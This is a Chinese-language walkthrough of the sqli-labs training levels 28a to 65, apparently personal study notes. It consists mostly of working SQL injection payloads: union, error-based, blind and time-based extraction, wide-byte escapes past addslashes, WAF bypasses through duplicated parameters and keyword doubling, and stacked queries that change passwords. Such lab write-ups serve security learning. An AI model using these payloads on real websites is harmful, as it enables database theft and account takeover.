过滤 union select /i 大小写都被过滤,所以只能采用双写的方式进行注入
测试:
?id=1')%26%26sleep(3)%26%26('1
因为页面没有显示报错内容,所以采用延时注入
?id=1')%26%26if(database()='security', sleep(3), 1)%26%26('1
确定显示位:
?id=0')unionunion%0aselect%0aselect%0a1,2,3;%00
%00截断后面的语句
库名:
?id=0')unionunion%0aselect%0aselect%0a1,2,3;%00
之后和之前的关一样查就好
**less-28a **
GET - Bind Based- All your UNION & SELECT belong to us String-Single quote with parenthesis(基于盲注的,有括号的单引号字符型,过滤了union和select等的注入)
闭合方式:id=(’$id’)
源码:
function blacklist($id)
{
//$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
//$id= preg_replace('/[--]/',"", $id); //Strip out --.
//$id= preg_replace('/[#]/',"", $id); //Strip out #.
//$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
//$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out spaces.
return $id;
}
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
尝试闭合:
联合查询:
?id=0') union/**/select 1, 2, 3--+
库名:
表名:
?id=0%27)%0aunion/**/select%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=%27security%27%0aand(%271%27=%271
列名:
?id=0%27)%0aunion/**/select%0a1,group_concat(column_name),3%0afrom%0ainformation_schema.columns%0awhere%0atable_schema=%27security%27%0aand%0atable_name=%27users%27%0aand(%271%27=%271
值:
?id=0%27)%0aunion/**/select%0a1,group_concat(username),3%0afrom%0ausers%0awhere%0a(%271%27=%271
Less-29
基于WAF的一个错误
什么是waf
Web应用防护系统 | (也称:网站应用级入侵防御系统。英文:Web Application Firewall,简称: WAF)。也叫Web防火墙,主要是对Web特有入侵方式的加强防护,如DDOS防护、SQL注入、XML注入、XSS等。 |
---|---|
防火墙 | 包过滤防火墙,隔绝网络状态检测防火墙应用层防火墙 除了隔绝网络之外,还具有一定的检测应用层数据的能力 |
waf-规则匹配绕过
Sql注入绕waf常用方式
1.大小写混合 | uNIoN sELecT 1,2,3,4 |
---|---|
2.替换关键字 | selselectect 1,2,3,4 |
3.使用编码 | %55nion %53elect 1,2,3,4 |
4.使用注释 | union/ /select 1,2,3,4 |
5.等价函数与命令 | @@datadir ==> datadir() |
6.特殊符号 | select+id+from users;、 |
判断为字符型注入:
库名:
?id=-1' union select 1,2,database()--+
表名:
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
列名:
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'--+
值:
?id=-1' union select 1,2,group_concat(username,password) from users--+
按照一般方法也可以完成注入
但:
waf服务器(tomcat)只解析重复参数里面的前者,而真正的web服务器(Apache)只解析重复参数里面的后者,我们可以传入两个id参数,前者合法而后者为我们想注入的内容
?id=1 & id=-1' union select 1,2,database()--+
两种方法都可以实现
Less-30
Get-Blind Havaing with WAF
同如上的方法,这里换成了双引号而已
?id=1 & id=-1" union select 1,2,database()--+
Less-31
Protection with WAF
与上面一致,换成了“)来闭合
$sql="SELECT * FROM users WHERE id= ("$id") LIMIT 0,1";
?id=1 & id=-1") union select 1,2,group_concat(username,password) from users--+
Less-32
Bypass addslashes()
function check_addslashes($string)
{
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash
$string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash
$string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslash
return $string;
}
函数preg_quote
?id=1"
没有报错,但被编码为1",说明单引号被转义了,即将单引号过滤了,
要在注入前加上**%df**
?id=1%df%27 --+
页面报错,说明我们的单引号成功注入
之后就可以查数据库了:
库名:
?id=-1%df%27 UNion seleCt 1,2,DATABASE()--+
表名:
?id=-1%df%27 UNion seleCt 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
依次查询即可
Less-33
Bypass addslashes()
和上一关一致,但换成了addslashe函数
- addslashes() 函数
函数返回在预定义字符之前添加反斜杠的字符串。
单引号(’)
双引号(")
反斜杠(\)
NULL
用上一关方法即可
Less-34
Bypass Add SLASHES
这一关需要抓包,抓包后的工作同less-32关
绕过添加斜杠
Less-35
why care for addslashes()
因为语句是数字型,进行数字型的注入
id没有被单引号括起来所以addslashes起不到作用直接行数字型的注入
?id=-1 union select 1,version(),database()--+
?id=-1 union select 1,version(),group_concat(table_name) from information_schema.tables where table_schema=database()--+
?id=-1 union select 1,version(),group_concat(username) from users--+
Less-36
Bypass MySQL Real Escape String
function check_quotes($string)
{
$string= mysql_real_escape_string($string);
return $string;
}
此关使用了mysql_real_escape_string
函数
还设置了gbk编码,存在宽字节注入
?id=-1%df%27 UNion seleCt 1,2,DATABASE()--+
Less-37
MySQL_real_escape_string
这一关变为了post传参,其余和正常的宽字节注入一致,同less-34
-admin%df’ UNion seleCt 1,2,DATABASE()--+
Less-38
stacked Query
堆叠注入
堆叠注入定义
Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。而在真实的运用中也是这样的, 我们知道在 mysql 中, 主要是命令行中, 每一条语句结尾加; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做 stacked injection。
堆叠注入原理:
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为: Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
堆叠注入危害
堆叠注入是一种危害很高的注入漏洞,黑客也可以通过构造’;drop database; --l的输入值来执行数据库的删除,或是插入管理员账户,修改订单内容,删除记录等高危操作。
考虑使用堆叠注入
访问URL:http://www.tianchi.com/web/duidie.php?id=1
返回正常信息;
访问URL:http://www.tianchi.com/web/duidie.php?id=1'
返回错误信息;
访问URL:http://www.tianchi.com/web/duidie.php?id=1'%23
返回正常信息;
修改dumb密码:
?id=1';update users set password='12345' where username='Dumb';--+
成功修改密码
Less-39
stacked Query Intiger type
是数字型注入,我们尝试新增一个用户名:
?id=1;insert users values(22,'0x776d','15922')
执行成功
Less-40
stacked Query String type Blind
页面关闭了报错,但是可以根据页面是否有内容来判断,语句是否正确
所以闭合方式为:
(‘id’)
再次尝试修改密码:
?id=1'); update users set password='147258' where username='Dumb'; --+
Less-41
stacked Query Intiger type blind
无报错,其余同39关一样
可以用延时注入
测试:
?id=0 or 1=1 %23
库名:
?id=0 union select 1,version(),database() %23
表名:
?id=0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() %23
值:
?id=0 union select 1,group_concat(username),group_concat(password) from security.users where 1 %23
Less - 42
Stacked Query error based
层次化查询 基于错误
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
Password 变量在post 过程中,没有通过 mysql_real_escape_string() 函数的处理。因此在登录的时候在密码选项进行注入。
抓包注入:
';update users set password='admin' where username='admin'
成功登入
less-43
闭合方式:username=('$username')
和 Less-42 的利用方式一致,但拼接方式不一样
对密码处进行堆叠注入
1');update users set password='123456' where username='admin';--+
成功修改
Less-44
Stacked Query blind
同less-43关,只是关闭了报错
闭合方式:username='$username'
成功闭合
用延时注入:
' and sleep(3) #
页面出现延迟,成功注入:
123456' if(database()='security', sleep(3), 1) #
可参考28关
Less-45
闭合方式:username=('$username')
和 Less-44 的利用方式一致,但闭合方式不一样
# 测试
=admin') #
=admin') and sleep(3)#
延时成功
Less - 46
ORDER BY-Error-Numeric
GET - 基于错误 - 数字型 - ORDER BY 从句
?sort=1'
报错,是数字型
注: 可以通过asc 和desc查看返回数据是否相同来简单判断是否存在orderby注入
?sort=1+asc
?sort=1+desc
一个倒序一个升序,存在orderby注入
源码:
$sql = "SELECT * FROM users ORDER BY $id";
$result = mysql_query($sql);
if ($result){
while ($row = mysql_fetch_assoc($result)){
echo $row['id'];
echo $row['username'];
echo $row['password'];
}
}else{
print_r(mysql_error());
}
测试:
?sort=1 and if(1=1, sleep(1), null)
有延迟,成功注入
库名长度:
?sort=1 and (length(database())) = 8 and if(1=1, sleep(1), null)
库名长度为八
猜库名:
?sort=1 and (ascii(substr((select database()) ,1,1))) = 115 and if(1=1, sleep(1), null)
Less - 47
ORDER BY Clause-Error-Single quote
ORDER BY 从句 - 基于错误-单引号
?sort=1'
id增添了单引号,其余和46关一致,页面报错,且是字符型注入:
测试:
?sort=1' and if(1=1, sleep(1), null) and '1'='1
可用延时注入,也可用报错注入:
库名:
?sort=0' or updatexml(1, concat(0x7e, database(), 0x7e), 1)--+
表名:
?sort=0' and extractvalue(1,concat(0x7e,(select user()),0x7e))--+
Less-48
闭合方式:order by $id
和 Less-47 相比少了报错注入,布尔、延时盲注依然可以正常使用,into outfile 也可以
# 测试:
?sort=1
?sort=1--+
?sort=1 or sleep(3)--+ # 无延时
?sort=0 or sleep(3)--+ # 有延时
布尔注入
?sort=rand(left(database(),1)>'r')
?sort=rand(left(database(),1)>'s')
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1hGvrtje-1647080041671)(C:\Users\lenovo\AppData\Roaming\Typora\typora-user-images\image-20220311210542644.png)]
延时注入:
?sort=rand(if(ascii(substr(database(),1,1))>114,1,sleep(1)))
?sort=rand(if(ascii(substr(database(),1,1))>115,1,sleep(1)))
Less-49
闭合方式:ORDER BY '$id'
少了报错注入,布尔、延时盲注依然可以正常使用,into outfile
也可以
?sort=1' # 不正常排序
?sort=1'--+ # 正常排序
?sort=0' or sleep(3)--+ # 有延时
?sort=1' or sleep(3)--+ # 无延时
less-50
闭合方式:ORDER BY $id
和 Less-46 相比,查询方式由 mysql_query 变成了 mysqli_multi_query,所以存在堆叠注入。
源码:
$sql="SELECT * FROM users ORDER BY $id";
# 堆叠注入
mysqli_multi_query($con1, $sql)
# 打印错误
print_r(mysqli_error($con1));
?sort=0 or updatexml(1, concat(0x7e, database(), 0x7e), 1)
或
?sort=1 and extractvalue(1,concat('^',(select(database())),'^'))
延时注入:
?sort=1 and (length(database())) = 8 and if(1=1, sleep(1), null)
?sort=1 and (ascii(substr((select database()) ,1,1))) = 115 and if(1=1, sleep(1), null)
Less - 51
ORDER BY Clause Blind based
ORDER BY 从句 基于盲注
字符型注入
?sort=1' and if(1=1, sleep(1), null) and '1'='1
?sort=1' and (length(database())) = 8 and if(1=1, sleep(1), null) and '1'='1
?sort=1' and (ascii(substr((select database()) ,1,1))) = 115 and if(1=1, sleep(1), null) and '1'='1
报错注入:
库名:
?sort=1' and updatexml(1, concat(0x7e, database(), 0x7e), 1)--+
表名:
?sort=1' and extractvalue(1,concat('^',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'^')) --+
列名:
?sort=1' and extractvalue(1,concat('^',(select group_concat(column_name) from information_schema.columns where table_name='users'),'^')) --+
值;
?sort=1' and extractvalue(1,concat('^',(select group_concat(username,0x3a,password) from users),'^')) --+
Less-52
闭合方式:ORDER BY $id
和 Less-50 是一样的,只是少了报错注入的利用方式。
出错,但页面没有回显
?sort=0 or sleep(3)--+
布尔注入:
?sort=rand(left(database(),1)>'s')
?sort=rand(left(database(),1)>'r')
Less-53
闭合方式:ORDER BY '$id'
和 Less-51 是一样的,少了报错注入的利用方式。
?sort=1' or sleep(3)--+ # 无延时 ?sort=0' or sleep(3)--+ # 有明显延时
进阶挑战(54-65)
Less-54
此挑战的目的是从数据库中仅从随机表转储(密钥)(挑战)在不到10次尝试中,有趣的是,每次重置,挑战都会产生随机的表名、列名、表数据。时时刻刻新鲜。
闭合方式:id='$id'
判断闭合方式
?id=1'--+
判断字段数
?id=1' order by 3--+
?id=1' order by 4--+
查看回显的字段
?id=-1' union select 1,2,3 --+
查询表名:5rra3zlvzl
?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database() --+
列名:
?id=-1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='5rra3zlvzl' --+
key:
?id=-1' union select 1,database(),group_concat(secret_ZK0O) from 5rra3zlvzl --+
key:IrBrMOoGo0exgyAiOuYumVS9
Less-55
闭合方式:id=($id)
有14 次尝试机会,代码基本上没有变化,只是闭合方式发生了变化。
?id=1) --+
回显:
?id=-1) union select 1,2,3 --+
表名:3edy8af191
?id=-1) union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database() --+
列名:
?id=-1) union select 1,2,group_concat(column_name) from information_schema.columns where table_name='3edy8af191' --+
key:93q24a85K5Zr1qnEosbB2RX8
?id=-1) union select 1,database(),group_concat(secret_7KVC) from 3edy8af191 --+
Less-56
本关查询语句是SELECT * FROM security.users WHERE id=('$id') LIMIT 0,1
所以payload换为id=-1’) 其余同上一关
表名:ae06repk05
列名:secret_96E4
key:asRG9xw8j6l5lTNRojQpsTgr
Less-57
本关查询语句改为SELECT * FROM security.users WHERE id="$id" LIMIT 0,1
所以payload换为id=-1" 其余同上一关关
Less-58
只有五次机会,
它存在报错,可以进行报错注入
?id=-1' union select 1,2,3--+
没有回显
表名:‘dojshripv’
?id=-1' and updatexml(1,(select concat(1,(select table_name from information_schema.tables where table_schema=database()))),1)--+
列名:
?id=-1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema= 'qjxm32ljxy'),0x7e),1)--+
key:
Less-59
查询语句SELECT * FROM security.users WHERE id=$id LIMIT 0,1
所以payload换为id=-1其余同上一关
表名:‘95zmr3pqk3’
id=-1 or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+
列名:secret_NKK8
?id=-1 or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='95zmr3pqk3'),0x7e))--+
key:‘QO7nT8uAc11a3L9nwkg9j5wP’
?id=-1 or extractvalue(1,concat(0x7e,(select group_concat(secret_NKK8) from 95zmr3pqk3),0x7e))--+
Less-60
闭合方式:id=("$id")
所以payload换为id=-1")其余同上一关
表名: ‘ncn67ujpi1’
列名:secret_M0A1
key: ‘dVaKVsIL6JCbhcCpLa4kEzZS’
Less-61
闭合方式:id=(('$id'))
所以payload换为id=-1’))其余同上一关
Less-62
闭合方式:id=('$id')
不能报错注入
布尔注入
?id=0') or if(left(database(), 1)='s', 1, 0)--+ # 不显示 ?id=0') or if(left(database(), 1)='c', 1, 0)--+ # 正常显示 ?id=0') or if(left(database(), 2)='ch', 1, 0)--+ # 正常显示
时间盲注:
?id=1') and if(length((select table_ame from information_schema.tables where table_schema=database()))>aaa,1,sleep(10))--+
Less-63
闭合方式:id='$id'
类似less-62
闭合:
?id=1' --+
布尔注入
?id=0' or if(left(database(), 1)='s', 1, 0)--+ # 不显示
?id=0' or if(left(database(), 1)='c', 1, 0)--+ # 正常显示
?id=0' or if(left(database(), 2)='ch', 1, 0)--+ # 正常显示
Less-64
`
?id=1)) --+
页面回显正常验证了就是两括号的闭合方式。
时间盲注同62
Less-65
?id=1") --+
页面回显正常,说明闭合方式为双引号括号")
同样时间盲注,跟62关一样。